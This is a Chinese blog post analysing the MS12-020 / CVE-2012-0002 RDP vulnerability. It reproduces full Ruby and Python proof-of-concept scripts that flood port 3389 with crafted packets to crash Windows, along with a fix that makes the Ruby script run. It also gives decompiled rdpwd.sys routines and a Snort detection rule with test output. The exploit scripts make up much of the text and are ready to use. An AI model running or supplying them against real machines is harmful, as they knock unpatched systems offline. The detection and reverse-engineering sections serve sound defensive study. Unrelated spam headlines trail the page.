【漏洞分析】CVE2012-0002漏洞分析过程详述

来源:互联网 发布:实时数据库产品有哪些 编辑:程序博客网 时间:2024/06/03 22:44

 

1、漏洞触发

发送攻击脚本后机器蓝屏效果如下:

测试环境:win xp professional sp2

 

 2、ruby脚本源码及分析

#!/usr/bin/env ruby

# ms12-020 PoC

# NOTE: 本测试脚本基于中国民间流传的ChineseShit而写,并且修正了数据包不符合协议的问题

# Author: Joshua J. Drake(jduck)

# From: BlackBap.Org

# Silic Group - 技术自由 技术创新 技术共享 技术原创 技术进步

 

require 'socket'

 

def send_tpkt(sd, data)

 sd.write(make_tpkt(data))

end

 

def make_tpkt(data)

  [

   3,  # version

   0,  # reserved

    4+ data.length

 ].pack('CCn') + data

end

 

def make_x224(data)

  [data.length ].pack('C') + data

end

 

def make_rdp(type, flags, data)

  [type, flags, 4 + data.length ].pack('CCv') + data

end

 

 

host = ARGV.shift

 

sd = TCPSocket.new(host, 3389)

pkts1 = [""]

 

# craft connection request

rdp = make_rdp(1, 0, [ 0 ].pack('V'))

x224_1 = make_x224([

 0xe0,  # Connection request

 0,     # ??

 0,     # SRC-REF

 0      # Class : Class 0

].pack('CnnC') + rdp)

 

pkts1 << make_tpkt(x224_1)

 

 

# craft connect-initial

x224_2 = make_x224([

 0xf0,  # Data / Class 0

 0x80   # EOT: True / NR: 0

].pack('CC'))

 

# mcsCi

target_params = ""+

 #"\x02\x01\x00"+     #maxChannelIds

 "\x02\x04\x00\x00\x00\x22"+ # maxChannelIds

 "\x02\x04\x00\x00\x00\x0a"+ # maxUserIds

 "\x02\x04\x00\x00\x00\x00"+ # maxTokenIds

 "\x02\x04\x00\x00\x00\x01"+ # numPriorities

 "\x02\x04\x00\x00\x00\x00"+ # minThroughput

 "\x02\x04\x00\x00\x00\x01"+ # maxHeight

 "\x02\x02\xff\xff"+         # maxMCSPDUSize

 "\x02\x04\x00\x00\x00\x02"  # protocolVersion

min_params = ""+

 "\x02\x04\x00\x00\x00\x01"+ # maxChannelIds      

 "\x02\x04\x00\x00\x00\x01"+ # maxUserIds         

 "\x02\x04\x00\x00\x00\x01"+ # maxTokenIds        

 "\x02\x04\x00\x00\x00\x01"+ # numPriorities      

 "\x02\x04\x00\x00\x00\x00"+ # minThroughput      

 "\x02\x04\x00\x00\x00\x01"+ # maxHeight          

 "\x02\x02\x04\x20"+         # maxMCSPDUSize

 "\x02\x04\x00\x00\x00\x02"  # protocolVersion

max_params = ""+

 "\x02\x02\xff\xff"+         # maxChannelIds          

 "\x02\x02\xfc\x17"+         # maxUserIds             

 "\x02\x02\xff\xff"+         # maxTokenIds            

 "\x02\x04\x00\x00\x00\x01"+ # numPriorities          

 "\x02\x04\x00\x00\x00\x00"+ # minThroughput          

  "\x02\x04\x00\x00\x00\x01"+  # maxHeight              

 "\x02\x02\xff\xff"+         # maxMCSPDUSize

 "\x02\x04\x00\x00\x00\x02"  # protocolVersion

 

userdata = ""+

  #gccCCrq

 "\x00\x05\x00\x14"+

 "\x7c\x00\x01\x81\x2a\x00\x08\x00\x10\x00\x01\xc0\x00\x44\x75\x63"+"\x61\x81\x1c"+

  #clientCoreData

 "\x01\xc0"+"\xd8\x00"+  # header (type, len)

   "\x04\x00"+"\x08\x00"+ # version

   "\x80\x02"+ # desktop width

   "\xe0\x01"+ # desktop height

   "\x01\xca"+ # color depth

   "\x03\xaa"+ # SASSequence

   "\x09\x04\x00\x00" + # keyboard layout

   "\xce\x0e\x00\x00" + # client build number

    #client name

   "\x48\x00\x4f\x00\x53\x00\x54\x00\x00\x00\x00\x00\x00\x00\x00\x00"+

   "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+

   "\x04\x00\x00\x00"+ # keyboard type

   "\x00\x00\x00\x00"+ # kbd subType

   "\x0c\x00\x00\x00"+ # kbd FuncKey

    #imeFileName

   "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+

   "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+

   "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+

   "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+

   "\x01\xca"+ # postBeta2ColorDepth

   "\x01\x00"+ # clientProductId

   "\x00\x00\x00\x00" + # serialNumber

   "\x10\x00"+ # highColorDepth

   "\x07\x00"+ # supportedColorDepths

   "\x01\x00"+ # earlyCapabilityFlags

    #clientDigProductId -poc has: "00000-000-0000000-00000"

   "\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x2d\x00\x30\x00\x30\x00"+

   "\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"+

   "\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x00\x00"+

   "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+

   "\x00"+ # connectionType

    "\x00"+ # pad1octet

   "\x00\x00\x00\x00"+ # serverSelectedProtocol

   "\x04\xc0\x0c\x00"+ # desktopPhysicalWidth

   "\x0d\x00\x00\x00"+ # desktopPhysicalHeight

   "\x00\x00\x00\x00"+ # reserved

  #clientSecurityData

 "\x02\xc0"+"\x0c\x00"+ # header (type, len)

   "\x1b\x00\x00\x00"+ # encryptionMethods

   "\x00\x00\x00\x00"+ # extEncryptionMethods

  #clientNetworkData

 "\x03\xc0"+"\x2c\x00"+ # header (type, len)

   "\x03\x00\x00\x00"+ # channel count!

    #channel 0

   "rdpdr\x00\x00\x00"+ # name

   "\x00\x00\x80\x80"+  #options

    #channel 1

   "cliprdr\x00"+       #name

   "\x00\x00\xa0\xc0"+  #options

    #channel 2

   "rdpsnd\x00\x00"+    #name

   "\x00\x00\x00\xc0"   #options

  #clientClusterData (not present)

  #clientMonitorData (not present)

 

mcs_data = ""+

   "\x04\x01\x01"+ # callingDomainSelector

   "\x04\x01\x01"+ # calledDomainSelector

   "\x01\x01\xff"+ # upwardFlag

 #"\x30" + [ target_params.length ].pack('C') + target_params +

 #"\x30" + [ min_params.length ].pack('C') + min_params +

 #"\x30" + [ max_params.length ].pack('C') + max_params +

 "\x30" + [ 0x19 ].pack('C') + target_params +

 "\x30" + [ 0x19 ].pack('C') + min_params +

 "\x30" + [ 0x1c ].pack('C') + max_params +

  #userData

 "\x04\x82" + [ userdata.length ].pack('n') + userdata

 

#mcs = "\x7f\x65\x82" + [mcs_data.length ].pack('n')  #connect-initial (0x65 / 101), length

 

#mcs = "\x7f\x65\x82" + [ 0x194].pack('n')  # connect-initial (0x65 /101), length

mcs = "\x7f\x65\x82\x01\x94"

mcs << mcs_data

 

 

pkts1 << make_tpkt(x224_2 +mcs.force_encoding("ascii-8bit"))

 

 

# send a special one?

pkts1 << make_tpkt(x224_2 +"\x04\x01\x00\x01\x00")

 

# send more pkts! - based on poc

10.times {

 pkts1 << make_tpkt(x224_2 + "\x28")

}

 

pkts1 << make_tpkt(x224_2 +"\x38\x00\x06\x03\xea".force_encoding("ascii-8bit"))

pkts1 << make_tpkt(x224_2 +"\x38\x00\x06\x03\xeb".force_encoding("ascii-8bit"))

pkts1 << make_tpkt(x224_2 +"\x38\x00\x06\x03\xec".force_encoding("ascii-8bit"))

pkts1 << make_tpkt(x224_2 +"\x38\x00\x06\x03\xed".force_encoding("ascii-8bit"))

pkts1 << make_tpkt(x224_2 +"\x38\x00\x06\x03\xee".force_encoding("ascii-8bit"))

pkts1 << make_tpkt(x224_2 +"\x38\x00\x06\x03\xf0".force_encoding("ascii-8bit"))

pkts1 << make_tpkt(x224_2 +"\x38\x00\x06\x03\xf1".force_encoding("ascii-8bit"))

pkts1 << make_tpkt(x224_2 +"\x38\x00\x06\x03\xf2".force_encoding("ascii-8bit"))

pkts1 << make_tpkt(x224_2 +"\x38\x00\x06\x03\xf3".force_encoding("ascii-8bit"))

 

pkts1 << make_tpkt(x224_2 + "\x21\x80".force_encoding("ascii-8bit"))

 

bigpkt = pkts1.join('')

 

loop {

 sd.write(bigpkt)

 

 send_tpkt(sd, x224_2 +"\x2e\x00\x00\x01".force_encoding("ascii-8bit"))

 send_tpkt(sd, x224_2 +"\x2e\x00\x00\x02".force_encoding("ascii-8bit"))

 send_tpkt(sd, x224_2 +"\x2e\x00\x00\x03".force_encoding("ascii-8bit"))

 send_tpkt(sd, x224_2 + "\x2e\x00\x00\x04".pack('C*'))

 

  #read connect-initial response

  buf= sd.recv(1500)

  #XXX: TODO: check response =)

 #puts buf

}

sd.close

# BlackBap.Org

3、问题及解决方案

版本信息:ruby 2.1.5p273

E:\VulAnalysis>ruby --version

ruby 2.1.5p273 (2014-11-13 revision 48405)[i386-mingw32]

网上资料获取的Ruby脚本运行时总是提示如下错误,即我们拷贝的程序采用的是UTF-8编码,而程序中字符串之间连接时编码必须相同,即将UTF8转成ASCII-8BIT或全部转换为字符数组

E:\VulAnalysis>ruby 2.rb 192.168.102.254--encoding=8bit

2.rb:185:in `<main>': incompatiblecharacter encodings: ASCII-8BIT and UTF-8 (En

coding::CompatibilityError)

 

 send_tpkt(sd, x224_2 + "\x2e\x00\x00\x03".force_encoding("ascii-8bit"))

 send_tpkt(sd, x224_2 + "\x2e\x00\x00\x04".pack('C*'))

 

4、python代码开发

#

#

# ms12-020 "chinese shit" PoC v2(wireshark version)

#

# tested on winsp3 spanish, reported towork on Win7, win 2008

#

# original source:http://115.com/file/be27pff7

#

#

 

import socket

import sys

import time

 

 

 

buf=""

buf+="\x03\x00\x00\x13" # TPKT, Version3, lenght 19

buf+="\x0e\xe0\x00\x00\x00\x00\x00\x01\x00\x08\x00\x00\x00\x00\x00"# ITU-T Rec X.224

buf+="\x03\x00\x01\xd6" # TPKT,Version 3, lenght 470

buf+="\x02\xf0\x80" # ITU-T RecX.224

 

 

buf+="\x7f\x65\x82\x01\x94\x04" #MULTIPOINT-COMMUNICATION-SERVICET.125

buf+="\x01\x01\x04\x01\x01\x01\x01\xff"# "Fuck you Chelios" packet

buf+="\x30\x19\x02\x04\x00\x00\x00\x22"#000000MaxchannelIDs result in bluescreen after 0x2c head len.

buf+="\x02\x04\x00\x00\x00\x02\x02\x04"

buf+="\x00\x00\x00\x00\x02\x04\x00\x00"

buf+="\x00\x01\x02\x04\x00\x00\x00\x00"

buf+="\x02\x04\x00\x00\x00\x01\x02\x02"

buf+="\xff\xff\x02\x04\x00\x00\x00\x02"

buf+="\x30\x19\x02\x04\x00\x00\x00\x01"

buf+="\x02\x04\x00\x00\x00\x01\x02\x04"

buf+="\x00\x00\x00\x01\x02\x04\x00\x00"

buf+="\x00\x01\x02\x04\x00\x00\x00\x00"

buf+="\x02\x04\x00\x00\x00\x01\x02\x02"

buf+="\x04\x20\x02\x04\x00\x00\x00\x02"

buf+="\x30\x1c\x02\x02\xff\xff\x02\x02"

buf+="\xfc\x17\x02\x02\xff\xff\x02\x04"

buf+="\x00\x00\x00\x01\x02\x04\x00\x00"

buf+="\x00\x00\x02\x04\x00\x00\x00\x01"

buf+="\x02\x02\xff\xff\x02\x04\x00\x00"

buf+="\x00\x02\x04\x82\x01\x33\x00\x05"

buf+="\x00\x14\x7c\x00\x01\x81\x2a\x00"

buf+="\x08\x00\x10\x00\x01\xc0\x00\x44"

buf+="\x75\x63\x61\x81\x1c\x01\xc0\xd8"

buf+="\x00\x04\x00\x08\x00\x80\x02\xe0"

buf+="\x01\x01\xca\x03\xaa\x09\x04\x00"

buf+="\x00\xce\x0e\x00\x00\x48\x00\x4f"

buf+="\x00\x53\x00\x54\x00\x00\x00\x00"

buf+="\x00\x00\x00\x00\x00\x00\x00\x00"

buf+="\x00\x00\x00\x00\x00\x00\x00\x00"

buf+="\x00\x00\x00\x00\x00\x04\x00\x00"

buf+="\x00\x00\x00\x00\x00\x0c\x00\x00"

buf+="\x00\x00\x00\x00\x00\x00\x00\x00"

buf+="\x00\x00\x00\x00\x00\x00\x00\x00"

buf+="\x00\x00\x00\x00\x00\x00\x00\x00"

buf+="\x00\x00\x00\x00\x00\x00\x00\x00"

buf+="\x00\x00\x00\x00\x00\x00\x00\x00"

buf+="\x00\x00\x00\x00\x00\x00\x00\x00"

buf+="\x00\x00\x00\x00\x00\x00\x00\x00"

buf+="\x00\x00\x00\x00\x00\x00\x00\x00"

buf+="\x00\x01\xca\x01\x00\x00\x00\x00"

buf+="\x00\x10\x00\x07\x00\x01\x00\x30"

buf+="\x00\x30\x00\x30\x00\x30\x00\x30"

buf+="\x00\x2d\x00\x30\x00\x30\x00\x30"

buf+="\x00\x2d\x00\x30\x00\x30\x00\x30"

buf+="\x00\x30\x00\x30\x00\x30\x00\x30"

buf+="\x00\x2d\x00\x30\x00\x30\x00\x30"

buf+="\x00\x30\x00\x30\x00\x00\x00\x00"

buf+="\x00\x00\x00\x00\x00\x00\x00\x00"

buf+="\x00\x00\x00\x00\x00\x00\x00\x00"

buf+="\x00\x00\x00\x00\x00\x04\xc0\x0c"

buf+="\x00\x0d\x00\x00\x00\x00\x00\x00"

buf+="\x00\x02\xc0\x0c\x00\x1b\x00\x00"

buf+="\x00\x00\x00\x00\x00\x03\xc0\x2c"

buf+="\x00\x03\x00\x00\x00\x72\x64\x70"

buf+="\x64\x72\x00\x00\x00\x00\x00\x80"

buf+="\x80\x63\x6c\x69\x70\x72\x64\x72"

buf+="\x00\x00\x00\xa0\xc0\x72\x64\x70"

buf+="\x73\x6e\x64\x00\x00\x00\x00\x00"

buf+="\xc0"

 

buf+="\x03\x00\x00\x0c" # TPKT,Version 3, Lenght 12

buf+="\x02\xf0\x80"  # ITU-T Rec X.224

buf+="\x04\x01\x00\x01\x00" #MULTIPOINT-COMMUNICATION-SERVICE T.125

buf+="\x03\x00\x00\x08" #TPKT,Version 3, Length 8

buf+="\x02\xf0\x80" # ITU-T RecX.224

buf+="\x28" #MULTIPOINT-COMM-SERVICE T.125

buf+="\x03\x00\x00\x0c" # TPKT,Version 3, Lenght 12

buf+="\x02\xf0\x80" # ITU-T RecX.224

buf+="\x38\x00\x06\x03\xef" #MULTIPOINT-COMM-SERVICE T.125

buf+="\x03\x00\x00\x0c" # TPKT,Version 3, Lenght 12

buf+="\x02\xf0\x80" #ITU-T RecX.224

buf+="\x38\x00\x06\x03\xeb" #MULTIPOINT-COMM-SERVICE T.125

buf+="\x03\x00\x00\x0c" # TPKT,Version 3, Lenght 12

buf+="\x02\xf0\x80" #ITU-T RecX.224

buf+="\x38\x00\x06\x03\xec"#MULTIPOINT-COMM-SERVICE T.125

buf+="\x03\x00\x00\x0c"  # TPKT, Version 3, Lenght 12

buf+="\x02\xf0\x80" #ITU-T RecX.224

buf+="\x38\x00\x06\x03\xed"#MULTIPOINT-COMM-SERVICE T.125

buf+="\x03\x00\x00\x0c" # TPKT,Version 3, Lenght 12

buf+="\x02\xf0\x80" #ITU-T RecX.224

buf+="\x38\x00\x06\x03\xee"#MULTIPOINT-COMM-SERVICE T.125

buf+="\x03\x00\x00\x0b" # TPKT,Version 3, Lenght 12

buf+="\x06\xd0\x00\x00\x12\x34\x00"  #ITU-T Rec X.224

 

 

buf1 = ""

buf1 +="\x03\x00\x00\x13\x0e\xe0\x00\x00"

buf1 +="\x00\x00\x00\x01\x00\x08\x00\x00"

buf1 +="\x00\x00\x00\x03\x00\x01\xd6\x02"

buf1 +="\xf0\x80\x7f\x65\x82\x01\x94\x04"

 

buf1 += "\x01\x01\x04\x01\x01\x01\x01\xff"

buf1 +="\x30\x19\x02\x04\x00\x00\x00\x22"

buf1 +="\x02\x04\x00\x00\x00\x0a\x02\x04"

buf1 +="\x00\x00\x00\x00\x02\x04\x00\x00"

buf1 +="\x00\x01\x02\x04\x00\x00\x00\x00"

buf1 +="\x02\x04\x00\x00\x00\x01\x02\x02"

buf1 +="\xff\xff\x02\x04\x00\x00\x00\x02"

buf1 +="\x30\x19\x02\x04\x00\x00\x00\x01"

buf1 +="\x02\x04\x00\x00\x00\x01\x02\x04"

buf1 +="\x00\x00\x00\x01\x02\x04\x00\x00"

buf1 +="\x00\x01\x02\x04\x00\x00\x00\x00"

buf1 += "\x02\x04\x00\x00\x00\x01\x02\x02"

buf1 +="\x04\x20\x02\x04\x00\x00\x00\x02"

buf1 +="\x30\x1c\x02\x02\xff\xff\x02\x02"

buf1 +="\xfc\x17\x02\x02\xff\xff\x02\x04"

buf1 +="\x00\x00\x00\x01\x02\x04\x00\x00"

buf1 +="\x00\x00\x02\x04\x00\x00\x00\x01"

buf1 += "\x02\x02\xff\xff\x02\x04\x00\x00"

buf1 +="\x00\x02\x04\x82\x01\x33\x00\x05"

buf1 +="\x00\x14\x7c\x00\x01\x81\x2a\x00"

buf1 +="\x08\x00\x10\x00\x01\xc0\x00\x44"

buf1 +="\x75\x63\x61\x81\x1c\x01\xc0\xd8"

buf1 +="\x00\x04\x00\x08\x00\x80\x02\xe0"

buf1 += "\x01\x01\xca\x03\xaa\x09\x04\x00"

buf1 +="\x00\xce\x0e\x00\x00\x48\x00\x4f"

buf1 +="\x00\x53\x00\x54\x00\x00\x00\x00"

buf1 +="\x00\x00\x00\x00\x00\x00\x00\x00"

buf1 +="\x00\x00\x00\x00\x00\x00\x00\x00"

buf1 +="\x00\x00\x00\x00\x00\x04\x00\x00"

buf1 +="\x00\x00\x00\x00\x00\x0c\x00\x00"

buf1 +="\x00\x00\x00\x00\x00\x00\x00\x00"

buf1 +="\x00\x00\x00\x00\x00\x00\x00\x00"

buf1 +="\x00\x00\x00\x00\x00\x00\x00\x00"

buf1 +="\x00\x00\x00\x00\x00\x00\x00\x00"

buf1 += "\x00\x00\x00\x00\x00\x00\x00\x00"

buf1 +="\x00\x00\x00\x00\x00\x00\x00\x00"

buf1 +="\x00\x00\x00\x00\x00\x00\x00\x00"

buf1 +="\x00\x00\x00\x00\x00\x00\x00\x00"

buf1 +="\x00\x01\xca\x01\x00\x00\x00\x00"

buf1 +="\x00\x10\x00\x07\x00\x01\x00\x30"

buf1 += "\x00\x30\x00\x30\x00\x30\x00\x30"

buf1 +="\x00\x2d\x00\x30\x00\x30\x00\x30"

buf1 +="\x00\x2d\x00\x30\x00\x30\x00\x30"

buf1 +="\x00\x30\x00\x30\x00\x30\x00\x30"

buf1 +="\x00\x2d\x00\x30\x00\x30\x00\x30"

buf1 +="\x00\x30\x00\x30\x00\x00\x00\x00"

buf1 += "\x00\x00\x00\x00\x00\x00\x00\x00"

buf1 +="\x00\x00\x00\x00\x00\x00\x00\x00"

buf1 +="\x00\x00\x00\x00\x00\x04\xc0\x0c"

buf1 +="\x00\x0d\x00\x00\x00\x00\x00\x00"

buf1 +="\x00\x02\xc0\x0c\x00\x1b\x00\x00"

buf1 +="\x00\x00\x00\x00\x00\x03\xc0\x2c"

buf1 += "\x00\x03\x00\x00\x00\x72\x64\x70"

buf1 +="\x64\x72\x00\x00\x00\x00\x00\x80"

buf1 +="\x80\x63\x6c\x69\x70\x72\x64\x72"

buf1 +="\x00\x00\x00\xa0\xc0\x72\x64\x70"

buf1 +="\x73\x6e\x64\x00\x00\x00\x00\x00"

buf1 +="\xc0\x03\x00\x00\x0c\x02\xf0\x80"

buf1 +="\x04\x01\x00\x01\x00\x03\x00\x00"

buf1 +="\x08\x02\xf0\x80\x28\x03\x00\x00"

buf1 +="\x08\x02\xf0\x80\x28\x03\x00\x00"

buf1 +="\x08\x02\xf0\x80\x28\x03\x00\x00"

buf1 +="\x08\x02\xf0\x80\x28\x03\x00\x00"

buf1 += "\x08\x02\xf0\x80\x28\x03\x00\x00"

buf1 +="\x08\x02\xf0\x80\x28\x03\x00\x00"

buf1 +="\x08\x02\xf0\x80\x28\x03\x00\x00"

buf1 +="\x08\x02\xf0\x80\x28\x03\x00\x00"

buf1 +="\x08\x02\xf0\x80\x28\x03\x00\x00"

buf1 +="\x08\x02\xf0\x80\x28\x03\x00\x00"

buf1 += "\x0c\x02\xf0\x80\x38\x00\x06\x03"

buf1 +="\xea\x03\x00\x00\x0c\x02\xf0\x80"

buf1 +="\x38\x00\x06\x03\xeb\x03\x00\x00"

buf1 +="\x0c\x02\xf0\x80\x38\x00\x06\x03"

buf1 +="\xec\x03\x00\x00\x0c\x02\xf0\x80"

buf1 +="\x38\x00\x06\x03\xed\x03\x00\x00"

buf1 += "\x0c\x02\xf0\x80\x38\x00\x06\x03"

buf1 +="\xee\x03\x00\x00\x0c\x02\xf0\x80"

buf1 +="\x38\x00\x06\x03\xf0\x03\x00\x00"

buf1 +="\x0c\x02\xf0\x80\x38\x00\x06\x03"

buf1 +="\xf1\x03\x00\x00\x0c\x02\xf0\x80"

buf1 +="\x38\x00\x06\x03\xf2\x03\x00\x00"

buf1 += "\x0c\x02\xf0\x80\x38\x00\x06\x03"

buf1 +="\xf3\x03\x00\x00\x09\x02\xf0\x80"

buf1 += "\x21\x80"

 

#buf1 is for win xp ,buf2 is for win7win2003

#HOST = sys.argv[1]

HOST = '192.168.102.254'

PORT = 3389

for i in range(1000):

         s= socket.socket(socket.AF_INET, socket.SOCK_STREAM)

         s.connect((HOST,PORT))

         print"sending: %d bytes" % len(buf1)

         s.send(buf1)

         rec= s.recv(100)

         print"received: %d bytes" % len(rec)

         s.close()

         time.sleep(1)

5、逆向跟踪分析

 

通过蓝屏地址找到rdpwd.sys触发漏洞的地址:下面红色位置为非法访问地址即此地址释放后重复利用导致系统崩溃。

 

.text:0002C0C4                 mov     ecx, [eax+10h]

.text:0002C0C7                 mov     edi, [ecx+esi*8]

.text:0002C0CA                 mov     [ecx+edx*8], edi

.text:0002C0CD                 mov     esi, [ecx+esi*8+4]

.text:0002C0D1                 mov     [ecx+edx*8+4], esi

.text:0002C0D5                 dec     dword ptr [eax]

.text:0002C0D7                 or      dword ptr [eax+0Ch], 0FFFFFFFFh

.text:0002C0DB                 jmp     short loc_2C09F

.text:0002C0DB _SListRemove@12 endp

 

 

 

int __stdcall SListRemove(int a1, int a2,int a3)

{

  intresult; // eax@1

  intv4; // edx@1

 unsigned int v5; // esi@1

  intv6; // ecx@2

  intv7; // esi@12

 unsigned int v8; // ecx@12

  intv9; // ecx@14

 

 result = a1;

  v4= *(_DWORD *)(a1 + 8);

  v5= 0;

  if( *(_DWORD *)a1 )

  {

   v6 = *(_DWORD *)(a1 + 16);

   while ( a2 != *(_DWORD *)(v6 + 8 * v4) )

    {

     ++v4;

     if ( v4 == *(_DWORD *)(a1 + 4) )

       v4 = 0;

     ++v5;

     if ( v5 >= *(_DWORD *)a1 )

       goto LABEL_7;

    }

   if ( a3 )

     *(_DWORD *)a3 = *(_DWORD *)(v6 + 8 * v4 + 4);

   v7 = *(_DWORD *)a1 + *(_DWORD *)(a1 + 8) - 1;

   v8 = *(_DWORD *)(a1 + 4);

   if ( v7 >= v8 )

     v7 -= v8;

   v9 = *(_DWORD *)(a1 + 16);

    *(_DWORD *)(v9 + 8 *v4) = *(_DWORD *)(v9 + 8 * v7);

   *(_DWORD *)(v9 + 8 * v4 + 4) = *(_DWORD *)(v9 + 8 * v7 + 4);

   --*(_DWORD *)a1;

   *(_DWORD *)(a1 + 12) = -1;

  }

 else

  {

LABEL_7:

   result = a3;

   if ( a3 )

     *(_DWORD *)a3 = 0;

  }

 return result;

}

 

signed int __stdcall MCSAttachUserRequest(inta1, int a2, int a3, int a4, int a5, int a6, signed int a7)

{

  intv7; // ebx@1

  intv9; // esi@3

  intv10; // eax@3

 signed int v11; // ecx@3

 PVOID v12; // eax@8

  intv13; // eax@15

 signed int v14; // ebx@16

  intv15; // edi@17

  intv16; // eax@17

 signed int v17; // ecx@17

 PVOID v18; // eax@22

  intv19; // [sp+10h] [bp+8h]@24

 

  v7= a1;

 *(_BYTE *)a7 = 0;

  if( *(_DWORD *)(a1 + 112) == *(_DWORD *)(a1 + 168) )

   return 14;

  v9= 0;

  v10= a1 + 222;

  v11= 2;

  do

  {

   if ( !*(_BYTE *)v10 )

    {

     v9 = v10 - 6;

     *(_BYTE *)v10 = 1;

    }

   v10 += 76;

   --v11;

  }

 while ( v11 );

  if( !v9 )

  {

   v12 = ExAllocatePoolWithTag(PagedPool, 0x4Cu, 0x636D5354u);

   v9 = (int)v12;

   if ( !v12 )

     return 11;

   *((_BYTE *)v12 + 5) = 0;

  }

 *(_DWORD *)(v9 + 8) = a4;

 SListInit(v9 + 16, 5);

 *(_DWORD *)v9 = a1;

 *(_DWORD *)(v9 + 68) = a2;

 *(_DWORD *)(v9 + 72) = a3;

 *(_BYTE *)(v9 + 4) = a4 || a2 || a3;

  v13= GetNewDynamicChannel(a1);

 *(_DWORD *)(v9 + 12) = v13;

  if( !v13 )

  {

   v14 = 15;

   goto LABEL_35;

  }

  v15= 0;

  v16= a1 + 425;

  v17= 5;

  do

  {

   if ( !*(_BYTE *)v16 )

    {

     v15 = v16 - 57;

     *(_BYTE *)v16 = 1;

    }

   v16 += 64;

   --v17;

  }

 while ( v17 );

  if( !v15 )

  {

   v18 = ExAllocatePoolWithTag(PagedPool, 0x40u, 0x636D5354u);

   v15 = (int)v18;

   if ( !v18 )

    {

     v14 = a7;

     goto LABEL_35;

    }

   *((_BYTE *)v18 + 56) = 0;

  }

 *(_DWORD *)(v15 + 52) = 2;

 *(_DWORD *)(v15 + 60) = *(_DWORD *)(v9 + 12);

 SListInit(v15, 5);

  v19= a1 + 48;

  if( !(unsigned __int8)SListAppend(v7 + 48, *(_DWORD *)(v15 + 60), v15) )

  {

   v14 = 11;

LABEL_31:

   SListDestroy(v15);

   if ( *(_BYTE *)(v15 + 56) )

      *(_BYTE *)(v15 + 57) = 0;

   else

     ExFreePoolWithTag((PVOID)v15, 0);

LABEL_35:

   SListDestroy(v9 + 16);

   if ( *(_BYTE *)(v9 + 5) )

     *(_BYTE *)(v9 + 6) = 0;

   else

     ExFreePoolWithTag((PVOID)v9, 0);

   return v14;

  }

  if( !(unsigned __int8)SListAppend(v7 + 112, v9, v9) )

  {

   v14 = 11;

   SListRemove(v19, *(_DWORD *)(v15 + 60), 0);

   goto LABEL_31;

  }

 *(_DWORD *)a5 = v9;

 *(_DWORD *)a6 = *(_DWORD *)(v7 + 108);

  if( *(_BYTE *)(v7 + 16) & 0x20 )

   *(_BYTE *)a7 = 1;

 return 0;

}

6、报文分析与特征提取

alert tcp any any -> any 3389(msg:"cve2012-0002 for rdp protocolvulnerability";flow:to_server,established;content:"|0300|";offset:0;depth:2;content:"|0300|";distance:17;within:21;content:"|7f658201|";fast_pattern;content:"|000000|";within:17;reference:cve,2012-0002;sid:1091;rev:1)

           

7、Snort验证结果

Commencing packetprocessing (pid=22625)

07/20-15:46:18.101885  [**] [1:1091:1] cve2012-0002 for rdp protocolvulnerability [**] [Priority: 0] {TCP} 192.168.102.17:56632 ->192.168.102.18:3389

 

Action Stats:

     Alerts:            1 ( 6.667%)

    Logged:            1 (  6.667%)

    Passed:            0 (  0.000%)

Limits:

     Match:            0

     Queue:            0

       Log:            0

     Event:            0

     Alert:            0

Verdicts:

     Allow:           15 (100.000%)

     Block:            0 (  0.000%)

   Replace:            0 (  0.000%)

 Whitelist:            0 (  0.000%)

 Blacklist:            0 (  0.000%)

    Ignore:            0 (  0.000%)

    (null):            0 (  0.000%)

 

 

Ref:

http://cve.scap.org.cn/CVE-2012-0002.html

http://vdisk.weibo.com/s/3E6o2?t=file

http://www.nigesb.com/ms12-020-poc.html

 

0 0
原创粉丝点击
热门问题 老师的惩罚 人脸识别 我在镇武司摸鱼那些年 重生之率土为王 我在大康的咸鱼生活 盘龙之生命进化 天生仙种 凡人之先天五行 春回大明朝 姑娘不必设防,我是瞎子 水泡破了化脓了怎么办 泰迪口臭很严重怎么办 狗狗的嘴巴好臭怎么办 2岁宝宝有口臭怎么办 2岁半宝宝口臭怎么办 胃热引起的口臭怎么办 脑梗右手不能动怎么办 脑梗右手不灵活怎么办 冒冷汗头晕想吐怎么办 脸中风嘴歪了怎么办 耳朵里疱疹破了怎么办 吃了变质的米饭怎么办 吃了变质的蛋糕怎么办 吃了变质的饭怎么办 颈椎病犯了头晕恶心怎么办 感冒引起的耳朵疼怎么办 感冒了左耳朵疼怎么办 受风引起的面瘫怎么办 两边的脸不一样大怎么办 脖子扭到怎么办快速好 卡马西平片过量怎么办 天冷眼睛神经跳怎么办 每天失眠怎么办要疯了 老是失眠是怎么办才好 汗毛又多又长怎么办 脸上出油毛孔粗大黑头怎么办 毛长在皮肤里怎么办 腰韧带拉伤怎么办恢复快 脚扭伤伤了韧带怎么办 膝关节韧带拉伤怎么办恢复快 脚踝韧带拉伤怎么办恢复快 脚扭伤一年没好怎么办 脚扭伤半年还疼怎么办 脚崴过有后遗症怎么办 脚扭伤脚面肿了怎么办 腰突然扭了好痛怎么办 腰扭伤了怎么办最有效 腰扭伤了不能动怎么办 前交叉韧带增粗怎么办 膝盖前交叉韧带损伤怎么办 狗的腿肌肉拉伤怎么办